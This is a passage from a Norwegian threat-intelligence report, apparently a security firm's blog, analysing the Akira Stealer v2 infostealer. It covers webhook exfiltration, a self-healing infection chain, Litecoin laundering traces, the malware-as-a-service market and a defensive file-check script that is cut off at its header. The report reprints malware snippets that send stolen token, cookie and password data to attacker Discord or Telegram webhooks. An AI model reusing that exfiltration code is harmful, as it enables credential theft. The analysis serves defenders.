''\n",[889,10434,10436],{"id":10435},"_7155-webhook-varsler-angriperens-uthenting-og-grensene-for-analytikerens-innsyn","7.15.5 Webhook-varsler, angriperens uthenting og grensene for analytikerens innsyn",[526,10438,895],{},[526,10440,10441],{},"Etter at ZIP-arkivet er lastet opp, sender Akira et webhook-varsel, vanligvis til Discord eller Telegram, med en strukturert embed som inneholder detaljert informasjon: antall stjålne tokens, antall cookies, filstørrelse og en klikkbar nedlastingslenke. Det gir angriperen umiddelbar tilbakemelding og tilgang til uthenting. For å sikre leveransen sendes det også en fallback-melding i klartekst som bare inneholder arkivlenken. Denne redundansen garanterer levering, selv om embeden blokkeres av plattformen eller filtreres bort. Fra forsvarerens side er denne kommunikasjonen ofte usynlig med mindre det finnes overvåking av utgående nettverkstrafikk.",[526,10443,10444],{},[568,10445,10446],{},"Embed Notification",[616,10448,10450],{"className":4516,"code":10449,"language":4518,"meta":530,"style":530},"# Build embed with key metadata\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\nfields = [\n    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n]\npayload = {\n    'username':'Akira 💊',\n    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n}\nrequests.post(webhook_url, json=payload, timeout=8)\n",[579,10451,10452,10457,10462,10467,10472,10477,10482,10487,10492,10496,10501,10506,10511,10515],{"__ignoreMap":530},[1710,10453,10454],{"class":1712,"line":1713},[1710,10455,10456],{},"# Build embed with key metadata\n",[1710,10458,10459],{"class":1712,"line":531},[1710,10460,10461],{},"token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\n",[1710,10463,10464],{"class":1712,"line":2094},[1710,10465,10466],{},"fields = [\n",[1710,10468,10469],{"class":1712,"line":2100},[1710,10470,10471],{},"    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n",[1710,10473,10474],{"class":1712,"line":2420},[1710,10475,10476],{},"    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n",[1710,10478,10479],{"class":1712,"line":2426},[1710,10480,10481],{},"    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n",[1710,10483,10484],{"class":1712,"line":3084},[1710,10485,10486],{},"    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n",[1710,10488,10489],{"class":1712,"line":3880},[1710,10490,10491],{},"    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n",[1710,10493,10494],{"class":1712,"line":3886},[1710,10495,7945],{},[1710,10497,10498],{"class":1712,"line":4131},[1710,10499,10500],{},"payload = {\n",[1710,10502,10503],{"class":1712,"line":5055},[1710,10504,10505],{},"    'username':'Akira 💊',\n",[1710,10507,10508],{"class":1712,"line":5061},[1710,10509,10510],{},"    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n",[1710,10512,10513],{"class":1712,"line":5067},[1710,10514,2429],{},[1710,10516,10517],{"class":1712,"line":5073},[1710,10518,10519],{},"requests.post(webhook_url, json=payload, timeout=8)\n",[631,10521,10522,10528],{},[634,10523,10524,10527],{},[568,10525,10526],{},"Delivery",": Sendes til angriperens Discord- eller Telegram-kanal.",[634,10529,10530,10533,10534,10537],{},[568,10531,10532],{},"Embed Link",": Inneholder en klikkbar ",[579,10535,10536],{},"download_url"," som peker på ZIP-filen på GoFile (eller en fallback-vert).",[526,10539,10540],{},[568,10541,10542],{},"Raw Link Fallback",[616,10544,10546],{"className":4516,"code":10545,"language":4518,"meta":530,"style":530},"# Ensure attacker always has direct URL, even if embeds fail\nmessage = f\"📥 Archive available at: {download_url}\"\nrequests.post(webhook_url, data={'message': message}, timeout=8)\n",[579,10547,10548,10553,10558],{"__ignoreMap":530},[1710,10549,10550],{"class":1712,"line":1713},[1710,10551,10552],{},"# Ensure attacker always has direct URL, even if embeds fail\n",[1710,10554,10555],{"class":1712,"line":531},[1710,10556,10557],{},"message = f\"📥 Archive available at: {download_url}\"\n",[1710,10559,10560],{"class":1712,"line":2094},[1710,10561,10562],{},"requests.post(webhook_url, data={'message': message}, timeout=8)\n",[631,10564,10565],{},[634,10566,10567,10570],{},[568,10568,10569],{},"Plain Text",": Garanterer at lenken kommer fram dersom embeds blokkeres eller forkastes i stillhet.",[526,10572,10573],{},[568,10574,10575],{},"How the Attacker Retrieves the Link",[526,10577,10578,10581],{},[568,10579,10580],{},"1. Webhook Infrastructure","\nAngriperen legger webhook-endepunktet inn i konfigurasjonen til malwaren:",[616,10583,10585],{"className":4516,"code":10584,"language":4518,"meta":530,"style":530},"# at class initialization\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[579,10586,10587,10592],{"__ignoreMap":530},[1710,10588,10589],{"class":1712,"line":1713},[1710,10590,10591],{},"# at class initialization\n",[1710,10593,10594],{"class":1712,"line":531},[1710,10595,10596],{},"self.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[631,10598,10599,10606],{},[634,10600,10601,1000,10603],{},[568,10602,1344],{},[579,10604,10605],{},"https://discord.com/api/webhooks/\u003CWEBHOOK_ID>/\u003CWEBHOOK_TOKEN>",[634,10607,10608,1000,10611],{},[568,10609,10610],{},"Telegram",[579,10612,10613],{},"https://api.telegram.org/bot\u003CTELEGRAM_TOKEN>/sendMessage",[526,10615,10616,10619],{},[568,10617,10618],{},"2. Real-Time Delivery","\nUmiddelbart etter en vellykket filopplasting kjører malwaren:",[616,10621,10623],{"className":4516,"code":10622,"language":4518,"meta":530,"style":530},"payload = {\n  'username': 'Akira 💊',\n  'embeds': [{\n      'title': '🗄️ Exfiltration Complete',\n      'fields': [\n          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n      ]\n  }]\n}\n# Transmit the archive URL entirely in the JSON body\nrequests.post(self.default_webhook, json=payload, timeout=8)\n",[579,10624,10625,10629,10634,10639,10644,10649,10654,10659,10664,10668,10673],{"__ignoreMap":530},[1710,10626,10627],{"class":1712,"line":1713},[1710,10628,10500],{},[1710,10630,10631],{"class":1712,"line":531},[1710,10632,10633],{},"  'username': 'Akira 💊',\n",[1710,10635,10636],{"class":1712,"line":2094},[1710,10637,10638],{},"  'embeds': [{\n",[1710,10640,10641],{"class":1712,"line":2100},[1710,10642,10643],{},"      'title': '🗄️ Exfiltration Complete',\n",[1710,10645,10646],{"class":1712,"line":2420},[1710,10647,10648],{},"      'fields': [\n",[1710,10650,10651],{"class":1712,"line":2426},[1710,10652,10653],{},"          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n",[1710,10655,10656],{"class":1712,"line":3084},[1710,10657,10658],{},"      ]\n",[1710,10660,10661],{"class":1712,"line":3880},[1710,10662,10663],{},"  }]\n",[1710,10665,10666],{"class":1712,"line":3886},[1710,10667,2429],{},[1710,10669,10670],{"class":1712,"line":4131},[1710,10671,10672],{},"# Transmit the archive URL entirely in the JSON body\n",[1710,10674,10675],{"class":1712,"line":5055},[1710,10676,10677],{},"requests.post(self.default_webhook, json=payload, timeout=8)\n",[631,10679,10680,10689],{},[634,10681,10682,10683,10685,10686,614],{},"Variabelen ",[579,10684,10536],{}," interpoleres inn i embedens ",[579,10687,10688],{},"fields.value",[634,10690,10691,10692,10694,10695,614],{},"For Telegram-fallbacken dukker ",[579,10693,10536],{}," opp i klartekstparameteren ",[579,10696,10697],{},"message",[526,10699,10700],{},[568,10701,10702],{},"3. EDR & Forensic Visibility Limitations",[631,10704,10705,10714],{},[634,10706,10707,10710,10711,10713],{},[568,10708,10709],{},"No Local Logging",": Malwaren skriver ikke ",[579,10712,10536],{}," til disk eller systemlogger.",[634,10715,10716,10719],{},[568,10717,10718],{},"EDR Blind Spots",": Verktøy som Microsoft Defender for Endpoint kan flagge forsøket på HTTP-forespørsel, men klarer ikke å hente ut den innebygde URL-en.",[526,10721,10722],{},[568,10723,10724],{},"4. Why the Analyst Cannot Recover This Locally:",[631,10726,10727,10739,10759],{},[634,10728,10729,10732,10733,10735,10736,10738],{},[568,10730,10731],{},"No Local Copy of Link",": Malwaren skriver ",[579,10734,10536],{}," bare i minnet og sender den over nettverket; den lagrer ",[4655,10737,1607],{}," denne URL-en til disk eller logger.",[634,10740,10741,10744,10745,10747,10752,10753,10755,10756,614],{},[568,10742,10743],{},"Ephemeral Staging Cleanup",": Umiddelbart etter opplastingen kjører koden:",[725,10746],{},[1710,10748,10751],{"className":10749},[10750],"text-monospace","shutil.rmtree(ROOT)",",",[725,10754],{},"\nsom sletter alle stagede artefakter, inkludert eventuelle midlertidige tekstfiler, fra ",[579,10757,10758],{},"%TEMP%",[634,10760,10761,10764,10765,10768],{},[568,10762,10763],{},"Network-Only Transmission",": Webhook-kallene (",[579,10766,10767],{},"requests.post",") skjer i minnet; det opprettes ingen HTTP-logger eller oppføringer i nettleserhistorikken på maskinen til offeret.",[848,10770,10771],{},[526,10772,10773,10776,10777,10779,10780,10782],{},[568,10774,10775],{},"Implication for Analysts:","\nUten pakkefangst i sanntid, for eksempel en nettverks-TAP eller proxy, på kjøringstidspunktet er den eksakte ",[579,10778,10536],{}," umulig å gjenopprette etter infeksjonen.\nI tillegg slettes det eksfiltrerte arkivet automatisk fra hostingtjenesten, noe som krymper vinduet for forensisk uthenting ytterligere.\nImaging etter infeksjonen eller vertsbasert forensisk gjenoppretting vil ",[4655,10781,1607],{}," avdekke angriperens URL eller credentials til filverten, siden ingen artefakter ligger igjen lokalt.",[854,10784],{"className":10785},[857,858],[741,10787,10789],{"id":10788},"_713-konklusjon","7.13 Konklusjon",[526,10791,747],{},[526,10793,10794,10796],{},[579,10795,610],{}," (Akira Stealer v2) er et omfattende, kommersielt distribuert stealer-verktøysett. Det kombinerer bred målretting, avansert anti-analyse, dynamisk kontroll over infrastrukturen og datatyveri i hele stacken, på tvers av credentials, krypto, systemprofilering og brukerfiler. Modulariteten og skjultheten, kombinert med raske reinfeksjonsmetoder, gjør den til en av de teknisk mest avanserte stealerne vi har observert i aktiv bruk.",[557,10798,10800],{"id":10799},"_8-sirkulær-kjøringskjede-en-selvhelende-løkke","8. Sirkulær kjøringskjede: en selvhelende løkke",[526,10802,563],{},[526,10804,10805,10806,10809],{},"Et av de teknisk mest gjennomarbeidede elementene i denne kampanjen er den regenerative, sirkulære kjøringsmodellen. Til forskjell fra konvensjonell malware med lineære trinn som går fra dropper til payload og deretter forsvinner, er denne operasjonen konstruert som en ",[568,10807,10808],{},"closed loop",", der hver komponent passer på de andre.",[526,10811,10812,10813,10816],{},"Denne ",[568,10814,10815],{},"selvhelende arkitekturen"," gjorde infeksjonskjeden ikke bare vedvarende, men også autonom. Den kunne hente seg helt inn igjen etter delvis fjerning. Så lenge én del var i live, kunne hele malware-økosystemet sette seg sammen igjen.",[741,10818,10820],{"id":10819},"_81-atferden-brutt-ned","8.1 Atferden brutt ned",[526,10822,747],{},[2108,10824,10825,10851,10864,10895,10913],{},[634,10826,10827,10832,10834,10835,10838,10839,10841,10842,10844,10845,10847,10848,10850],{},[568,10828,10829,10830,1140],{},"Persistence Anchor (",[579,10831,602],{},[579,10833,602],{}," er det grunnleggende fotfestet. Den droppes vanligvis i en oppstartsplassering for Windows-brukeren, for eksempel ",[579,10836,10837],{},"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",", eller registreres via ",[579,10840,1682],{},". Oppgaven er enkel, men kritisk: sørge for at ",[579,10843,606],{}," finnes og starte den stille når brukeren logger på. Mangler ",[579,10846,606],{},", pakker den ut arkivet ",[579,10849,1852],{}," på nytt (det ligger i en temp-mappe eller droppes på nytt) og gjenskaper hele Electron-app-strukturen.",[634,10852,10853,10858,10860,10861,10863],{},[568,10854,10855,10856,1140],{},"Bridge Loader (",[579,10857,606],{},[579,10859,606],{}," er Node.js-applikasjonen pakket i Electron. Den viser ingen GUI og arbeider utelukkende i bakgrunnen. Ved kjøring kjører den den innebygde JavaScript-logikken i ",[579,10862,1074],{},", med Node.js som runtime-miljø. Dette abstraksjonslaget frikobler kjernelogikken fra PE-stubben og hjelper den med å unngå tradisjonell analyse.",[634,10865,10866,10871,10872,10874,10875],{},[568,10867,10868,10869,1140],{},"Execution Orchestrator (",[579,10870,2834],{},"\nInnebygd i ",[579,10873,1074],{}," er dette den egentlige styringsenheten i infeksjonskjeden. Hovedfunksjonene er:",[631,10876,10877,10883,10886],{},[634,10878,10879,10880,10882],{},"Å sjekke om ",[579,10881,602],{}," finnes, og rulle den ut på nytt hvis den mangler",[634,10884,10885],{},"Å injisere runtime-konfigurasjon dynamisk: webhook-URL-er, C2-adresser, tokens",[634,10887,10888,10889,10891,10892,10894],{},"Å enten kalle Python-payloaden som allerede ligger der (",[579,10890,610],{},") eller laste den ned som del av en ZIP-pakke (for eksempel ",[579,10893,2898],{},") fra infrastruktur angriperen kontrollerer",[634,10896,10897,10902,10903,10905,10906,10908,10909,10912],{},[568,10898,10899,10900,1140],{},"Payload Execution (",[579,10901,610],{},"\nNår den utløses, kjører ",[579,10904,610],{}," i minnet via ",[579,10907,581],{},". Den samler systematisk inn lagrede credentials, cookies, Discord-tokens, nettlesersesjonsdata og utvidelser for kryptovaluta-lommebøker. Dataene stages i et ZIP-arkiv og eksfiltreres via HTTPS, oftest til Discord-webhooks, men fallback-API-er som ",[579,10910,10911],{},"gofile.io"," eller egne C2-endepunkter er også observert.",[634,10914,10915,10918,10919,10921,10922,10924,10925,10927,10928,10930,10931,10933],{},[568,10916,10917],{},"Loop Integrity and Self-Healing","\nDesignet er sirkulært. Slettes ",[579,10920,602],{},", rulles den ut på nytt. Mangler ",[579,10923,606],{},", pakker ",[579,10926,602],{}," den ut på nytt fra ",[579,10929,1852],{},". Slettes ",[579,10932,610],{},", hentes den på nytt av JavaScript-laget. Denne gjensidige avhengigheten gjør malwaren robust og i stand til å rekonstruere kjøringskjeden sin fra praktisk talt hvilket som helst gjenlevende fragment.",[526,10935,10936,10937,10940],{},"Arkitekturen er ikke bare modulær, den er ",[568,10938,10939],{},"selvopprettholdende",", bevisst konstruert for stealth, fleksibilitet og langsiktig overlevelse i målmiljøene.",[741,10942,10944],{"id":10943},"_82-hvorfor-dette-er-verdt-å-merke-seg","8.2 Hvorfor dette er verdt å merke seg",[526,10946,747],{},[526,10948,10949,10950,614],{},"Den arkitektoniske utformingen av kampanjen viser et nivå man normalt ikke ser i vanlige infostealere. Den går forbi enkle flertrinnsloadere: dette er malware konstruert for ",[568,10951,10952],{},"operativ robusthet, stealth og automatisering",[526,10954,10955],{},[568,10956,10957],{},"Key Characteristics",[631,10959,10960,10966,11004,11024],{},[634,10961,10962,10965],{},[568,10963,10964],{},"Full Autonomy","\nNår den først er rullet ut, krever malwaren ingen brukerinteraksjon eller ekstern reaktivering. Den opptrer som en skadelig mikrotjeneste og orkestrerer sin egen persistence, payload-kjøring og reparasjonsrutiner uten ekstern styring.",[634,10967,10968,10971,10972],{},[568,10969,10970],{},"Multi-Language Execution Stack","\nVerktøykjeden integrerer:",[631,10973,10974,10984,10990,10996],{},[634,10975,10976,10979,10980,647,10982,1140],{},[568,10977,10978],{},"PE Binaries"," (",[579,10981,602],{},[579,10983,606],{},[634,10985,10986,10989],{},[568,10987,10988],{},"Node.js / JavaScript"," (via Electron)",[634,10991,10992,10995],{},[568,10993,10994],{},"PowerShell"," (brukt til obfuskert payload-relé)",[634,10997,10998,10979,11001,11003],{},[568,10999,11000],{},"Python",[579,11002,610],{},", kjørt som minneresident stealer)\nDenne lagdelte sammensetningen gjør den vanskeligere å profilere, ta fingeravtrykk av og analysere med konvensjonelle statiske verktøy.",[634,11005,11006,11009,11010],{},[568,11007,11008],{},"Defense Evasion by Design","\nHver komponent er kodet, kryptert eller dynamisk injisert:",[631,11011,11012,11015,11018,11021],{},[634,11013,11014],{},"Base64 PowerShell-relé",[634,11016,11017],{},"AES-kryptert og GZIP-komprimert Python-kjerne",[634,11019,11020],{},"Obfuskert JavaScript med token-injeksjon ved kjøring",[634,11022,11023],{},"Selvhelende atferd som vanskeliggjør delvis fjerning",[634,11025,11026,11029,11030,11033,11034,11036,11037,11039],{},[568,11027,11028],{},"No Single Point of Failure","\nSelvreparasjonslogikken i malwaren sørger for at ",[568,11031,11032],{},"det ikke er nok å fjerne én enkelt komponent",". Fjernes ",[579,11035,602],{},", gjenskaper infostealeren den. Slettes ",[579,11038,610],{},", lastes den ned og rulles ut på nytt av JavaScript-styringsenheten.",[526,11041,11042,11043,11046],{},"Kort sagt oppfører malwaren seg mer som et ",[568,11044,11045],{},"distribuert system"," enn som en vanlig payload, et system som prioriterer overlevelse, modularitet og stealth.",[526,11048,11049,11050,11053],{},"Det løfter trusselen fra et opportunistisk angrep til en ",[568,11051,11052],{},"robust, tilpasningsdyktig plattform",", og krever at forsvarere møter kompleksiteten med like lagdelte strategier for deteksjon og respons.",[741,11055,11057],{"id":11056},"_83-konsekvenser-for-blue-teams","8.3 Konsekvenser for blue teams",[526,11059,747],{},[526,11061,11062],{},"For forsvarere og CSOC-operatører hever denne typen arkitektur lista:",[631,11064,11065,11071,11086],{},[634,11066,11067,11070],{},[568,11068,11069],{},"Delvis opprydding virker ikke",". Alle noder må identifiseres og fjernes samtidig.",[634,11072,11073,11076,11077,11079,11080,11079,11082,11079,11084,614],{},[568,11074,11075],{},"Korrelasjon i Defender for Endpoint"," er avgjørende. Analytikere må spore hele kjeder: fra ",[579,11078,602],{}," → ",[579,11081,1129],{},[579,11083,1225],{},[579,11085,581],{},[634,11087,11088,11091],{},[568,11089,11090],{},"IOC-fri persistence"," betyr at minnebaserte heuristikker, baselining av telemetri og kjedebasert deteksjon er nøkkelen.",[526,11093,11094,11095,11098],{},"Dette er ikke bare en stealer. Det er en ",[568,11096,11097],{},"robust malware-plattform"," som oppfører seg mer som et distribuert system enn som en enkel trussel. Og nettopp det er det som gjør den både imponerende og farlig.",[557,11100,11102],{"id":11101},"_9-blockchain-sporing-og-analyse","9. Blockchain-sporing og analyse",[526,11104,563],{},[741,11106,11108],{"id":11107},"_91-å-spore-pengeflyten-i-en-litecoin-basert-malware-kampanje","9.1 Å spore pengeflyten i en Litecoin-basert malware-kampanje",[526,11110,747],{},[526,11112,11113,11114,11117],{},"Under reverse engineering-fasen av denne malware-kampanjen hentet vi ut flere hardkodede lommebokadresser som stealeren brukte til eksfiltrering av kryptovaluta. Ved å følge on-chain-aktiviteten til disse Litecoin-lommebøkene kunne vi avdekke mønstre som tyder på bevisst hvitvasking. Lommeboken ",[579,11115,11116],{},"LW6EopiZ...",", som angriperen kontrollerer, fungerer som et sentralt samlingspunkt. Midler stjålet fra flere ofre kanaliseres inn til denne adressen, og derfra fordeles de raskt videre til flere nye adresser.",[526,11119,11120],{},"Atferden vi ser her, er representativ for et klassisk split-transfer-mønster som brukes i crypto tumbling eller mixing. I hvert tilfelle deles hele den innkommende balansen i to omtrent proporsjonale utgående transaksjoner, hver til sin lommebok. Strategien skal vanskeliggjøre address clustering og chain tracing ved å obfuskere hvor midlene kommer fra. Det er en effektiv taktikk for å unngå deteksjon fra automatiserte plattformer for blockchain-analyse og threat intelligence.",[526,11122,11123],{},"Denne hvitvaskingsatferden bruker en kombinasjon av timing på transaksjonene, presis oppdeling av verdier og minimert gjenbruk av adresser for å omgå heuristikker som klyngealgoritmer vanligvis bruker, slik de gjør i GraphSense, Chainalysis eller TRM Labs. Målet er å skape transaksjonsflyter med høy entropi, som forvirrer attribusjon og bryter koblingene, særlig når midlene til slutt bygges over til andre verdier eller veksles til personvernorienterte coins.",[526,11125,11126],{},"I eksempelet under viser vi et strukturert utsnitt av denne atferden. De innkommende transaksjonene representerer ulike overføringer fra ofre. Verdiene kartlegges deretter presist til de utgående flytene, og viser hvordan coins \"vaskes\" gjennom raske, forutsigbare og algoritmisk oppdelte utbetalinger.",[1418,11128,4710,11132],{"className":11129,"style":11131},[11130],"font-size-1","width:100%; border-collapse: collapse;",[1434,11133,11134,4710,11157,4710,11190,4710,11218,4710,11247],{},[1424,11135,4715,11136,4715,11140,4715,11144,4715,11147,4715,11151,4715,11154,4710],{},[1427,11137,11139],{"style":11138},"text-align: left; width: 14%;","Kilde inn",[1427,11141,11143],{"style":11142},"text-align: left; width: 12%;","Dato inn",[1427,11145,11146],{"style":11138},"Beløp inn (LTC)",[1427,11148,11150],{"style":11149},"text-align: left; width: 20%;","→ Angriperens lommebok",[1427,11152,11153],{"style":6328},"Utgående adresser",[1427,11155,11156],{},"Totalt ut (LTC)",[1424,11158,4715,11159,4715,11162,4715,11165,4715,11168,4715,11175,4715,11188,4710],{},[1439,11160,11161],{},"Input_1",[1439,11163,11164],{},"2024-09-21",[1439,11166,11167],{},"0.25339198",[1439,11169,11170,11171,4715],{},"\n      ",[1710,11172,11174],{"title":11173},"LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH","LLQtaBnSAF...",[1439,11176,11177,11178,11181,11182,11177,11184,11187],{},"\n      - ",[579,11179,11180],{},"LZmHkgkED..."," (0.15579078, 2024-09-26)",[725,11183],{},[579,11185,11186],{},"M8JpDsw5H7..."," (0.09760120, 2024-09-26)\n    ",[1439,11189,11167],{},[1424,11191,4715,11192,4715,11195,4715,11198,4715,11201,4715,11205,4715,11216,4710],{},[1439,11193,11194],{},"Input_2",[1439,11196,11197],{},"2024-04-16",[1439,11199,11200],{},"1.09976044",[1439,11202,11170,11203,4715],{},[1710,11204,11174],{"title":11173},[1439,11206,11177,11207,11210,11211,11177,11213,11215],{},[579,11208,11209],{},"LgWrCAF8ED..."," (0.84304664, 2024-06-13)",[725,11212],{},[579,11214,11209],{}," (0.25671380, 2024-06-13)\n    ",[1439,11217,11200],{},[1424,11219,4715,11220,4715,11223,4715,11226,4715,11229,4715,11233,4715,11245,4710],{},[1439,11221,11222],{},"Input_3",[1439,11224,11225],{},"2024-03-06",[1439,11227,11228],{},"0.77089346",[1439,11230,11170,11231,4715],{},[1710,11232,11174],{"title":11173},[1439,11234,11177,11235,11238,11239,11177,11241,11244],{},[579,11236,11237],{},"LZL3wQcSRP..."," (0.38544673, 2024-03-04)",[725,11240],{},[579,11242,11243],{},"M8kiBpVHG3..."," (0.38544673, 2024-03-04)\n    ",[1439,11246,11228],{},[1424,11248,4715,11249,4715,11252,4715,11254,4715,11256,4715,11260,4715,11270,4710],{},[1439,11250,11251],{},"Input_4",[1439,11253,11225],{},[1439,11255,11228],{},[1439,11257,11170,11258,4715],{},[1710,11259,11174],{"title":11173},[1439,11261,11177,11262,11238,11265,11177,11267,11244],{},[579,11263,11264],{},"LUFLTrqYpix...",[725,11266],{},[579,11268,11269],{},"La22dfH9eM...",[1439,11271,11228],{},[854,11273],{"className":11274},[857,858],[557,11276,11278],{"id":11277},"_10-inne-i-akira-økosystemet-kommersialisert-infrastruktur-for-cyberkriminalitet","10. Inne i Akira-økosystemet - kommersialisert infrastruktur for cyberkriminalitet",[526,11280,563],{},[526,11282,11283],{},"Akira er ikke bare en stealer, den er midtpunktet i et blomstrende undergrunnsøkosystem laget for å forenkle, skalere og tjene penger på cyberkriminalitet.",[741,11285,11287],{"id":11286},"_101-et-plug-and-play-økosystem-for-trusselaktører","10.1 Et plug-and-play-økosystem for trusselaktører",[526,11289,747],{},[526,11291,11292],{},"Akira-økosystemet er et eksempel på hvordan cyberkriminalitet har utviklet seg til en profesjonalisert, tjenestedrevet økonomi. Det omfatter:",[631,11294,11295,11304,11310,11316,11322],{},[634,11296,11297,11300,11301,1140],{},[568,11298,11299],{},"Builder Bots"," for generering av payloads på bestilling (for eksempel ",[579,11302,11303],{},"@AkiraRedBot",[634,11305,11306,11309],{},[568,11307,11308],{},"Telegram-kanaler"," for oppdateringer, funksjonsønsker og kundestøtte",[634,11311,11312,11315],{},[568,11313,11314],{},"Automatisert lisens- og betalingshåndtering",", ofte via direktemeldinger eller anonyme e-handelsplattformer som Sellix",[634,11317,11318,11321],{},[568,11319,11320],{},"Ferdigpakkede moduler"," som clipboard hijackers, Discord token loggers, browser data stealers og til og med ransomware-tillegg",[634,11323,11324,11327],{},[568,11325,11326],{},"Tilpassbare payloads"," med konfigurasjonsgrensesnitt for brytere, webhook-inndata og ikonbranding",[526,11329,11330],{},[775,11331],{"alt":11332,"src":11333},"Akira Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797420/blog/pics/akira-stealer-v2.jpg",[741,11335,11337],{"id":11336},"_102-kommersialisering-av-cyberkriminalitet","10.2 Kommersialisering av cyberkriminalitet",[526,11339,747],{},[526,11341,11342],{},"Strukturen til Akira speiler en bredere bevegelse mot \"Malware-as-a-Service\" (MaaS), der:",[631,11344,11345,11351,11357,11363],{},[634,11346,11347,11350],{},[568,11348,11349],{},"Ingen dyp teknisk kompetanse"," kreves for å sette i gang angrep",[634,11352,11353,11356],{},[568,11354,11355],{},"Inngangskostnadene er lave"," ($75 for 3 måneder, $150 for livstid)",[634,11358,11359,11362],{},[568,11360,11361],{},"Støtte og dokumentasjon er umiddelbart tilgjengelig"," via Telegram",[634,11364,11365,11368],{},[568,11366,11367],{},"Bidrag fra miljøet"," utvider Akira jevnlig med skript og funksjonsforslag",[526,11370,11371],{},"Dette økosystemet etterligner legitime SaaS-forretningsmodeller, med changelogs, UX-forbedringer, prisnivåer og oppsalg.",[526,11373,11374],{},[775,11375],{"alt":11376,"src":11377},"Akria Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797061/blog/pics/akira-stealer.jpg",[741,11379,11381],{"id":11380},"_103-utover-stealeren-komponentene-i-økosystemet","10.3 Utover stealeren - komponentene i økosystemet",[526,11383,747],{},[526,11385,1741,11386,11388],{},[579,11387,610],{}," er hjertet i mange angrep, gir økosystemet en komplett kjede:",[631,11390,11391,11394,11397,11400,11403],{},[634,11392,11393],{},"Obfuskeringsverktøy som PyInstaller-wrappere",[634,11395,11396],{},"File binders for å koble skadelige payloads til godartet programvare",[634,11398,11399],{},"Compilere, cryptere og polymorfisme ved kjøring",[634,11401,11402],{},"Hosting-speil for payload-leveranse og eksfiltrering (for eksempel GoFile, AnonFiles)",[634,11404,11405],{},"Datahåndteringsboter som oppsummerer stjålne credentials og maskinvareprofiler",[526,11407,11408],{},[775,11409],{"alt":11410,"src":11411},"Akira Bot","https://res.cloudinary.com/c4a8/image/upload/v1749797107/blog/pics/akira-bot.jpg",[557,11413,11415],{"id":11414},"_11-akira-stealer-quickcheck-berørte-filer","11. Akira Stealer QuickCheck: berørte filer",[526,11417,563],{},[741,11419,11421],{"id":11420},"_111-hva-er-dette-til-for","11.1 Hva er dette til for?",[526,11423,747],{},[526,11425,11426,11427,647,11430,647,11433,586,11436,11439],{},"Etter en mistenkt Akira Stealer-infeksjon er det avgjørende å få vite umiddelbart hvilke filer på systemet ditt som sto i fare for å bli eksfiltrert. QuickCheck-PowerShell-skriptet som er beskrevet over, gjenskaper den eksakte søkelogikken til Akira: det skanner brukerens mapper ",[568,11428,11429],{},"Desktop",[568,11431,11432],{},"Documents",[568,11434,11435],{},"Downloads",[568,11437,11438],{},"OneDrive"," etter filer som:",[631,11441,11442,11457,11460],{},[634,11443,11444,11445,647,11448,647,11451,8790,11454],{},"Inneholder sensitive nøkkelord i filnavnet, som ",[579,11446,11447],{},"password",[579,11449,11450],{},"wallet",[579,11452,11453],{},"backup",[579,11455,11456],{},"token",[634,11458,11459],{},"Har bestemte filendelser som ofte er mål (.txt, .docx, .pdf, .jpg og liknende)",[634,11461,11462],{},"Ligger under størrelsesgrensen på 2 MB som malwaren håndhever",[526,11464,11465,11466,11469],{},"QuickCheck gir en rask oversikt basert på den interne logikken i Akira Stealer, men ",[568,11467,11468],{},"den erstatter ikke"," omfattende forensiske verktøy eller profesjonell incident response. Følg alltid opp med dypere analyse når du har å gjøre med bekreftede innbrudd.",[526,11471,11472,11473,647,11476,647,11479,11482,11483,614],{},"Deretter viser den en sortert tabell med ",[568,11474,11475],{},"Filename",[568,11477,11478],{},"Relative Path",[568,11480,11481],{},"Size (KB)"," og det ",[568,11484,11485],{},"utløsende nøkkelordet",[848,11487,11488],{},[526,11489,11490,11493,11494,11497,11498,11500,11501,11504],{},[568,11491,11492],{},"DISCLAIMER","\nDette verktøyet leveres ",[568,11495,11496],{},"\"as is\""," uten noen garanti for fullstendighet eller egnethet for et bestemt formål. Det garanterer ",[568,11499,1607],{}," at ",[568,11502,11503],{},"alle"," potensielt sensitive filer blir funnet, og det erstatter ikke fullstendig malware-forensikk. Bruk på eget ansvar.",[854,11506],{"className":11507},[857],[741,11509,11511],{"id":11510},"juridisk-merknad","Juridisk merknad",[526,11513,747],{},[526,11515,11516,11517,11520,11521,11524],{},"Dette QuickCheck-verktøyet er utelukkende ment for vurderinger innen ",[568,11518,11519],{},"defensiv sikkerhet",". All uautorisert skanning eller bruk på systemer du ikke eier, kan bryte lover om personvern, opphavsrett eller datamisbruk. glueckkanja AG tar ",[568,11522,11523],{},"ikke noe ansvar"," for misbruk eller skader som følger av bruken.",[741,11526,11528],{"id":11527},"powershell-skript","PowerShell-skript",[526,11530,747],{},[616,11532,11534],{"className":1704,"code":11533,"language":1706,"meta":530,"style":530},"\u003C#\n.SYNOPSIS\n    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n\n.DESCRIPTION\n    Scans Desktop, Documents, Downloads and OneDrive for files that:\n      • Contain one of the defined keywords in their name\n      • Have an allowed file extension\n      • Are not larger than 2 MB\n    Presents the results in a colored, tabular overview.\n\n.NOTES\n    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n#>\n\n# 